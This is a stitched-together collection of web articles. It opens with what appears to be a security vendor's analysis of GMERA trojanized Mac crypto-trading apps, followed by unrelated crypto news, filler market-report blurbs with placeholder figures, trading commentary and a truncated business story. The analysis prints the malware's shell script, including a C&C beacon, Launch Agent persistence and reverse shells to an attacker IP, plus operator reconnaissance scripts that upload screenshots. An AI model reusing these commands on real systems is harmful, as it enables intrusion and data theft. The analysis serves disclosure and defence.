Mac cryptocurrency trading application rebranded, bundled with malware – We Live Security

ESET researchers lure GMERA malware operators to remotely control their Mac honeypots

Weve recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in the previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, not only did the malware authors wrap the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.

We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldnt confirm that it was linked to this particular campaign, but it could very well be the case.

Figure 1. Kattana warns about trojanized copies of their software on Twitter

Copycat websites are set up to make the bogus application download look legitimate. For a person who doesnt know Kattana, the websites do look legitimate.

Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micros blogpost and in Objective-Sees Mac malware of 2019 report.

Figure 4. Content of the Licatrade application bundle

Modification timestamps of the files in the ZIP archive, the date the application was signed, and the LastModified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.

A shell script (run.sh) is included in the resources of the application bundle. This main executable, written in Swift, launches run.sh. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP, and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.

Here is the full shell script source (ellipsis in long string and defanged):

#! /bin/bashfunction remove_spec_char(){echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'}whoami="$(remove_spec_char `whoami`)"ip="$(remove_spec_char `curl -s ipecho.net/plain`)"req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"launchctl load "/tmp/.com.apple.system.plist"scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

#! /bin/bash

function remove_spec_char(){

echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'

}

whoami="$(remove_spec_char `whoami`)"

ip="$(remove_spec_char `curl -s ipecho.net/plain`)"

req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="

echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"

cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"

launchctl load "/tmp/.com.apple.system.plist"

scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Its interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (.com.apple.system.plist) isnt in Property List format as launchd expects, but instead is the command line to be executed.

The decoded content (ellipses in long strings) of the $plist_text variable is:

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.

The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.

The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.

Here are some example command lines used:

screen -d -m bash -c bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1

zsh -c zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY

The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an app.asar file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.

Figure 5. Partial difference between Kattana and Licatrade

Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.

Figure 6. Certificate used to sign Licatrade

Figure 7. Licatrade certificate was revoked May 28th, 2020

For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. See the IoCs section for details about these. Its interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didnt find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.

The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the levistor777@gmail.com email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.

Both the websites and HTTP C&C servers receiving the malwares first report are hosted behind Cloudflare.

To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware.

We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version and location (based on external IP address) of the compromised device.

#! /bin/bashfunction check() { if [ ! -f /private/var/tmp/.i ]; then write else if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then write fi fi}function write() { getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"` echo `whoami` > /private/var/tmp/.i echo `sw_vers -productVersion` >> /private/var/tmp/.i echo "$getit" >> /private/var/tmp/.i}checkcat /private/var/tmp/.i

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#! /bin/bash

function check() {

if [ ! -f /private/var/tmp/.i ]; then

write

else

if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then

write

fi

fi

}

function write() {

getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`

echo `whoami` > /private/var/tmp/.i

echo `sw_vers -productVersion` >> /private/var/tmp/.i

echo "$getit" >> /private/var/tmp/.i

}

check

cat /private/var/tmp/.i

which sent something like this to the operators:

jeremy10.13.4BratislavaSK

jeremy

10.13.4

Bratislava

SK

The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.

Figure 8. Packet capture of the operator sending the base64-encoded secondary reconnaissance script

Here is the decoded script:

echo ""echo "------ Whoami ------"whoamiecho "------ IP info ------"curl -s ipinfo.ioecho "------ Mac Model ------"curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*(.*).*|1|'echo "------ MacOS Version ------"sw_vers -productVersionsw_vers -productVersion | grep -E "10.15.*" && echo -e "33[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA 33[0m"sleep 1echo "------ MacOS Installed ------"date -r /var/db/.AppleSetupDoneecho "------ Disks ------"df -mecho "------ Video Output ------"system_profiler SPDisplaysDataTypeecho "------ Wifi Around ------"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -secho "------ Virtual Mashine Detector ------"ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."echo "--------------------------------"echo "------ Developer Detector ------"echo "--------------------------------"echo "||| Applications |||"ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"echo "||| Short Bash History |||"cat ~/.bash_history | head -n 20echo "------ Desktop Screen ------"echo "create screenshot..."sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/nullsips -z 500 800 /tmp/screen.jpg &> /dev/nullsips -s formatOptions 50 /tmp/screen.jpg &> /dev/nullecho "uploading..."curl -s -F "file=@/tmp/screen.jpg" https://file.io

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Mac cryptocurrency trading application rebranded, bundled with malware - We Live Security

Is investment in cryptocurrency worthwhile in 2020? – CapeTown ETC

The global pandemic has impacted peoples financial situation significantly. If youve been searching online for investment options to grow your money for future financial stability, youve likely come across cryptocurrencies such as Bitcoin and Ethereum. Its garnered much attention over the last decade, Facebook even launched a cryptocurrency called Libra. However, as with all types of investments, dont invest impulsively.

What is cryptocurrency?

A cryptocurrency is a virtual (or digital) asset created to work as a medium of exchange. It is based on a network that is distributed across an enormous number of computers. The appeal of investing in cryptocurrencies is due to its use of blockchain technology.

What is blockchain?

At its most fundamental level, blockchain is exactly as it sounds: a chain of blocks. However, in this context, block refers to digital information stored on a database (chain) that is managed by a network. By design, blockchain makes reproducibility of the digital asset almost impossible. This factor makes it a very tempting investment.

Pros and cons of investing in cryptocurrency

Pros

Its a high risk, high reward approach. The value goes through extreme ups and downs, but at the time of writing this article, Coinbase showed that one Bitcoin was worth R156 682.

A lot of mutual funds require a long-term time horizon for the investment to real returns (e.g. the suggested time horizon in an equity fund is five years). The value of cryptocurrency can change almost instantly, and massive returns can be made over a short timeframe.

Cons

Investing in cryptocurrency is a massive risk. Due to the nature of blockchain, transactions are nearly untraceable which leaves the door open for fraudulent activity and increased potential for hacking incidents which can cause investors to lose money very quickly.

The rates of return arent proven because they have no connection to regulatory standards. Therefore, theres no logical reasoning behind the upturn and downturn in value. At this moment in time, there is simply not enough data available to calculate returns accurately.

According to serial entrepreneur, Deep Patel, Cryptocurrency initial coin offerings (ICOs) are gambles. They have the potential to create huge returns on your investment, but also come with great volatility and risk.

At fio.life, our experienced team of independent financial advisers will provide you with the guidance and education required to fully understand the implications of impulsive investing.

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Is investment in cryptocurrency worthwhile in 2020? - CapeTown ETC

News.Bitcoin.com Lead Writer Jamie Redman Named One of the Best Crypto Bloggers | Featured – Bitcoin News

Lead Writer at News.Bitcoin.com, Jamie Redman has made Redeeem.coms list of twelve influential go-to crypto bloggers. Redeeem says the list comprises names behind some of the most informative crypto news articles.

In its citation, Redeeem says Jamie Redman, who is also a crypto meme designer, is one to follow for crypto enthusiasts. Redeeem also lists some of Redmans best works to date.

A decentralized crypto fan, Redman has been in the crypto space since 2011 and has written over 3,300 articles since 2015 with just News.Bitcoin.com alone.

Redman believes the community should be focused on moving forward instead of squabbling endlessly.

Commenting on this recognition, Redman said:

Its an honor to be named by Redeem.com as one of the top twelve crypto bloggers among some of the writers I respect and read regularly. Blockchain and cryptocurrency solutions are hard to understand and its up to writers to break it down for people and make comprehension easier.

Redman adds that crypto writers have played an extremely important role when it comes to the adoption of crypto assets, as our words describe the myriad of benefits this technology has to offer.

Meanwhile, also making Redeeems 12 Best Crypto Bloggers list is Pete Rizzo, a former editor with Coindesk and Roger Huang, cryptocurrency writer with Forbes. Also, two female crypto bloggers, Portia Burton from the blog Blockchain Explainer, and Angeline Mbogo from the news outlets Bitcoin Africa, Afritechnews.

Crypto bloggers remain instrumental in pushing back against some misrepresentations and mistruths often peddled by ignorant but influential individuals.

Bloggers have also called out the mainstream media when it publishes misleading stories about bitcoin or the general crypto space.

The recent hacking of verified Twitter accounts and the associated donation scam gave fresh ammunition to cryptocurrency critics. Bloggers like Redman and many others have been on hand to set the record straight.

What do you think of Redmans recognition? Tell us what you think in the comments section below.

Image Credits: Shutterstock, Pixabay, Wiki Commons, blog.redeeem.com, Mike Townsend

Disclaimer: This article is for informational purposes only. It is not a direct offer or solicitation of an offer to buy or sell, or a recommendation or endorsement of any products, services, or companies. Bitcoin.com does not provide investment, tax, legal, or accounting advice. Neither the company nor the author is responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in this article.

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News.Bitcoin.com Lead Writer Jamie Redman Named One of the Best Crypto Bloggers | Featured - Bitcoin News

Cryptocurrency Market with COVID 19 Impact-Global Industry Report, Size, Demand, Revenue, Top Manufacturers, and Forecast to 2026 – Cole of Duty

Cryptocurrency Market 2020 Industry Research Report provides an analysis on the vital trends, size, share, growth with higher growth rate expected to impact the market outlook from 2020-2026 . This report has analyses research on supply consumption, export, import, revenue, specification and costs analysis, sourcing strategy, technology, and market effect factor.

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According to orian research, the Global Cryptocurrency Market is estimated to reach xxx million USD in 2020 and projected to grow at the CAGR of xx% during the 2021-2026. The report analyses the global Cryptocurrency market, the market size and growth, as well as the major market participants.

Key Company Coverage(Company Profile, Sales Revenue, Price, Gross Margin, Main Products etc.):

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10 Research Conclusion

Main Aspects covered in the Report

Overview of the Cryptocurrency market including production, consumption, status & forecast and market growth

2016-2020 historical data and 2021-2026 market forecast

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Orian Research is one of the most comprehensive collections of market intelligence reports on the World Wide Web. Our reports repository boasts of over 500000+ industry and country research reports from over 100 top publishers. We continuously update our repository so as to provide our clients easy access to the worlds most complete and current database of expert insights on global industries, companies, and products. We also specialize in custom research in situations where our syndicate research offerings do not meet the specific requirements of our esteemed clients.

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Email: [emailprotected]

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Cryptocurrency Market with COVID 19 Impact-Global Industry Report, Size, Demand, Revenue, Top Manufacturers, and Forecast to 2026 - Cole of Duty

Impact of Covid-19 on Cryptocurrency 2020-2027 with Focusing Key players like Nvidia, Xilinx, Intel, Advanced Micro Devices, Bitfury Group, etc – Cole…

The latest market analysis report on the Cryptocurrency market performs industry diagnostic as a way to accumulate valuable data into the business environment of the Cryptocurrency market for the forecast period 2019 2026. The subject matter experts behind the research have collected vital statistics on the market share, size and growth as a way to help stakeholders, business owners and field marketing personnel identify the areas to reduce costs, improve sales, explore new opportunities and streamline their processes. Unbiased perspective on intangible aspects such as key challenges, threats, new entrants as well as strengths and weaknesses of the prominent vendors too are discussed in this market intelligence report.

This is the most recent report inclusive of the COVID-19 effects on the functioning of the market. It is well known that some changes, for the worse, were administered by the pandemic on all industries. The current scenario of the business sector and pandemics impact on the past and future of the industry are covered in this report.

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Coverage of critical data on investment feasibility, return on investment, demand and supply, import and export, consumption volume and production capability aim at supporting the business owners in multiple growth phases including the initial stages, product development and prioritizing potential geography. All valuable data assessed in the report are presented through charts, tables, and graphic images.

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A thorough diligence and probe into market segmentation, customer preference, production capability and gross margin are discussed with the aim to ensure business owners are positioned to successes. The study considers, in particular, the impact of technology innovation, recent collaborations and product launches for the forecast period of 2019 2026. Assessment of various factors on a targets ability to meet the forecast results forms the basis of evaluation of this market intelligence report on Cryptocurrency market.

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To summarize, the global Cryptocurrency market report studies the contemporary market to forecast the growth prospects, challenges, opportunities, risks, threats, and the trends observed in the market that can either propel or curtail the growth rate of the industry. The market factors impacting the global sector also include provincial trade policies, international trade disputes, entry barriers, and other regulatory restrictions.

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Impact of Covid-19 on Cryptocurrency 2020-2027 with Focusing Key players like Nvidia, Xilinx, Intel, Advanced Micro Devices, Bitfury Group, etc - Cole...

Revolut partners with Paxos to bring cryptocurrency trading to the US – TechCrunch

Neobank Revolut launched in the U.S. a couple of months ago. The startup is slowly catching up with features that are available in the U.K. and Europe. This time, Revolut is adding cryptocurrency trading through a partnership with Paxos.

Users in the U.S. can now buy, hold and sell Bitcoin and Ethereum from the Revolut app. The feature is going to be available in 49 states as there are some regulatory issues in Tennessee. If you have USD or other currencies in your Revolut account, you can exchange manually whenever you want.

You can also set up alerts in case there are some important price changes happening. Optionally, users can also round up card payments to the nearest whole dollar and convert spare change into crypto assets.

If youre familiar with Revoluts cryptocurrency feature, you know that the company gives you access to more cryptocurrencies in Europe, such as Litecoin, Bitcoin Cash and XRP. The company says it is starting with BTC and ETH in the U.S. but is already working on bringing more cryptocurrencies.

When it comes to fees, users with a free Revolut account will pay 2.5% in conversion fees. Users with a Premium and Metal subscription will pay 1.5% in fees. Revolut is waving fees for the first 30 days.

This is in line with the companys current fees in Europe. Revolut also has some monthly limits on currency exchange in general for free users as well it can be fiat currencies or cryptocurrencies. You have to pay a 0.5% fee above that limit or pay for a subscription.

Revolut made some changes to its cryptocurrency feature recently. While you now technically own your cryptocurrencies, you cant send and receive cryptocurrencies from third-party wallets. The feature is all about trading buying, holding and selling.

In the U.S., Squares Cash App and Robinhood also let you buy cryptocurrencies in their respective apps. While those features dont offer the same flexibility as a full-fledged cryptocurrency exchange, it makes it easy to get started with cryptocurrencies.

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Revolut partners with Paxos to bring cryptocurrency trading to the US - TechCrunch

US Army Requests Information on Tools to Track Cryptocurrency Transactions | News – Bitcoin News

The U.S. Department of Defense and the U.S. Army have requested information on web-based cryptocurrency tracking tools. The tools must enable U.S. government agencies worldwide to conduct in-depth investigations into the source of crypto transactions and provide multi-currency analysis from bitcoin to other top cryptocurrencies.

The U.S. Department of Defense and the U.S. Army have posted a request for information (RFI) entitled cryptocurrency investigative web-based application. The request was published on the U.S. governments website on July 10.

All information submitted in response to this announcement is voluntary, the notice states, adding that The U.S. Army Contracting Command-New Jersey (CC-NJ) located at Fort Dix, NJ is surveying the market for potential contractors capable of providing one license for one user of a cloud, web based application capable of assisting law enforcement to identify and stop actors who are using cryptocurrencies for illicit activity such as fraud, extortion, and money laundering.

The requests accompanying Statement of Work (SOW) describes that the contractor must provide access to a reliable cryptocurrency investigation service, also referred to as a Software-as-a-Service (SaaS) solution required for use in criminal investigations and the other missions conducted by the US Army Criminal Investigation Command (USACIDC). The USACIDC is the premier Military Criminal Investigative Organization within the Department of Defense, responsible for conducting worldwide criminal investigations wherever there is a U.S. Army interest. The notice elaborates:

Application must enables users to conduct in-depth investigation into the source of cryptocurrency transactions and provides multi-currency analysis from bitcoin to other top cryptocurrencies.

The USACIDCs Major Cybercrime Unit in Quantico, VA, will administer the service but users can be located anywhere in the U.S. and overseas. Intended users include those in the Federal Bureau of Investigation (FBI), the Drug Enforcement Administration (DEA), the Securities and Exchange Commission (SEC), the Transportation Security Administration (TSA), the US Immigration and Customs Enforcement (ICE), and the Internal Revenue Service (IRS).

The service must be a tested product, without hardware or software to install. It must meet the SOW requirements, including providing real-time bitcoin and other cryptocurrency transaction tracing and be able to spot transaction patterns and interactions with other entities. The contract will be for one year with the option to extend four more years. Responses to the information request must be made by July 20.

The Department of Defenses request came after the U.S. Department of Homeland Security and the Secret Service awarded a contract for blockchain analytics software to Coinbase, as news.Bitcoin.com reported.

What do you think about the U.S. Army looking for crypto tracking tools? Let us know in the comments section below.

Image Credits: Shutterstock, Pixabay, Wiki Commons

Disclaimer: This article is for informational purposes only. It is not a direct offer or solicitation of an offer to buy or sell, or a recommendation or endorsement of any products, services, or companies. Bitcoin.com does not provide investment, tax, legal, or accounting advice. Neither the company nor the author is responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in this article.

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US Army Requests Information on Tools to Track Cryptocurrency Transactions | News - Bitcoin News

Cryptocurrency Is Reshaping the Fintech Landscape – Finextra

Cryptocurrencies have been around for a while now, and were well past the point where they were considered a temporary, passing gimmick. At this stage, many people agree that cryptocurrencies are the way of the future in many ways, even if there are some flaws in the general idea. The important thing is that were actively experimenting with different solutions for the common problems on the financial market, and weve already come across some quite exciting discoveries along the way. When it comes to fintech, its clear that cryptocurrencies have had a major impact but how strong has it been exactly, and what can we expect from the future in this regard?

Current Uses of Blockchain in Finances

Blockchain is currently actively used in many areas of the financial sector likeforex. Its no longer a secondary thing for many businesses, and support for the technology is rapidly growing. And there is a lot that it can bring to the table as well from easy verification of identities, to speeding up regular everyday transactions, to enabling customers to use their mobile phones more comfortably as part of the purchasing process. There is a lot that blockchain can do that is not even actively explored yet, and its important to pay attention to the new and growing trends in this market.

Growing Trends

Which leads us to our next point. Blockchain is already enjoying an established place in many areas of the market, but it will take a while before its fully reached its potential. Until then, were likely going to see variouscompanies attempting to use it in new and different ways, and not all of those will be successful in the long run. But what truly matters here is that we pay attention to not only the successes, but the failures as well. Identifying the cause for each of those failures is going to be crucial in the long term when it comes to ensuring that were using blockchain to its full potential.

Attractive Prospects

The current prospects for the tech and its integration into the market are already quite attractive. Many companies have been exploring the market in even more detail lately too, and have been doing their best to make the situation more attractive for their users. Because of this, weve seen the rise of many integrations of blockchain tech into various aspects of the current market, and this is something that will likely continue in full force as well.

The Future Is Not Set in Stone

But in the end, its hard to predict where this will all take us. Blockchain is still a new technology compared to the overall state of the financial market, and it will likely be a while until its properly stabilized its position. As we said above, the important thing right now is to pay attention to how this tech evolves and the stages it goes through. Because a lot will happen over the next couple of decades, and those who have been following the trends will be in a better position to take advantage of the new situation.

Until then, its also not a bad idea to experiment with what the market has to offer. Blockchain is already integrated pretty tightly into many sectors, and it doesnt take a lot of effort to get started with this field. The technological barrier today is significantly lower than what it used to be, so there arent many excuses for not following those developments. And even when some things dont pan out, they will still provide a good learning experience for those whove attempted them.

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Cryptocurrency Is Reshaping the Fintech Landscape - Finextra

Chainlink (LINK) Becomes the Tesla of Cryptocurrency Whats Next? – Cointelegraph

As Bitcoin's (BTC) price continues to trade in a tightening range, the altcoin market has been pushing higher each week, and the most recent surge has come from Chainlink (LINK).

After breaking above the $5 level, LINK's price surged nearly 100% in a matter of days and ended by making a new all-time high at $8.40. Through this massive push, LINK surpassed EOSand Crypto.com (CRO) to claim a spot among the top ten cryptocurrencies listed on CoinMarketCap.

Investors are now curious to see if Tezos (XTZ) will continue to follow LINK, and there are expectations that other altcoins will also follow LINKs upward trajectory.

Crypto market daily performance. Source: Coin360

LINK has proven to be one of the strongest movers in the cryptocurrency markets of recent years. This was proved once again as the cryptocurrency broke above the previous all-time high of $5 and surged with 85% toward$8.50.

LINK/USDT one-day chart. Source: TradingView

In a previous article, a target of $7.00$7.25 was established using the Fibonacci extension tool. However, LINK overshot that target by a mile.

As the chart shows, the rally might be temporarily over, as sellers are stepping in, but this will only be confirmed if the daily candle closes as shown on the chart above. Currently, the candle shows a giant wick on the upside, indicating that theres more sell than buy pressure.

Aside from the candle, such a giant move is due for a corrective move, so it is good to review the levels to watch for potential support.

LINK/USDT one-day chart. Source: TradingView

The 1-day chart is showing clear support levels. One of them is found between $6 and $6.50. The previous resistance at $6.57 can be confirmed as support, which would suit a renewed test of the $8.50 resistance level.

However, a clearer signal would be a corrective move towardthe $5 level, as that used to be a significant resistance zone before the massive breakout occurred.

LINK/USDT four-hour chart. Source: TradingView

The four-hour chart shows a bright support/resistance flip of the $5.70 level, which caused continuation and the price to accelerate toward$8.50.

The most likely scenario is a test of the previous high for support;in this case, the $6.50$6.60 level. A potential wick towardthe $6.20 level is an area to watch for.

If this zone holds, a renewed test of the highs at $8.50 is likely to occur. If the $6.50 level is lost, further downward pressure is likely to occur on the markets with a potential retest of the $5 level.

LINK/BTC one-day chart. Source: TradingView

The LINK/BTC pair shows a massive breakout as well. The resistance zone at 0.00055000 sats was tested several times before the breakout occurred.

This price action is actually quite similar to the resistance zone of Bitcoin that is encountering at $10,000 to $10,500. As the saying goes, the more often a resistance gets tested, the weaker it becomes.

In the case of Bitcoin, the resistance zone at $10,000 to $10,500 has been a tough area to surmount for a year already, and for LINK, the 0.00055000 sats barrier has been a resistance zone for seven months.

As the breakthrough of the resistance zone occurred, massive acceleration took place, but the chart is showing signs of overextension on the upside. For this reason, a corrective motion is likely to occur.

In that case, the potential levels of interest should be the previous resistance at 0.00055000 sats and the area between 0.000650000.00066500 sats.

XTZ/USDT one-day chart. Source: TradingView

Once Chainlink moves, Tezos tends to follow. However, in the previous months, Tezos has been lagging heavily, but the price finally made a strong move over the weekend.

XTZ/USDT has been showing strength in the previous days and currently faces the final hurdle before a new all-time high.

The pair secured support at the $2.40 level before continuation and acceleration toward$3 occurred. The next step to watch for is a test of the $2.70$2.77 level for support.

If that level sustains support, its likely that XTZ/USDT will break through the $3 barrier and test the all-time high.

The $3 resistance area has been tested three times now, and its possible that another test of the resistance zone will see the price finally push through it.

If XTZ/USDT breaks above $3, its assumed well start accelerating and get a similar move to Chainlink. And that similar move means a new all-time high.

XTZ/BTC one-day chart. Source: TradingView

The XTZ/BTC pair is also showing strength, as it recently broke above the 100-day MA. This is also the case with the XTZ/USDT pair. If the previous resistance area at 0.000029000.00002950 sats continues to hold for support, a support/resistance flip will be achieved.

Once this support/resistance flip is confirmed, continuation to the upside is likely to occur, and traders will set their targets around the all-time high zone around 0.000037000.00003800 sats.

If Tezos manages to break through the all-time high levels, the sky's the limit and savvy traders can look to the Fibonacci extensions in order to determine new targets.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph. Every investment and trading move involves risk. You should conduct your own research when making a decision.

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Chainlink (LINK) Becomes the Tesla of Cryptocurrency Whats Next? - Cointelegraph

TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz – Economic Times

Physical imitations of cryptocurrency in Dortmund, Germany on January 27, 2020.

The Indian IT giant has set its sights on the exploding crypto-assets market globally. Its new product Quartz aims to make swift inroads in cryptocurrency trading in countries like Switzerland and Singapore, where its a legal activity, and is eyeing high net-worth, private banking, and wealth-management segments. Quartz may not find takers in India in the absence of regulatory clarity.

Its a whole new world of opportunities for Indian IT companies. TCS is moving to make a big impact in the global enterprise blockchain-solutions market. The countrys second most-valued company has

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TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz - Economic Times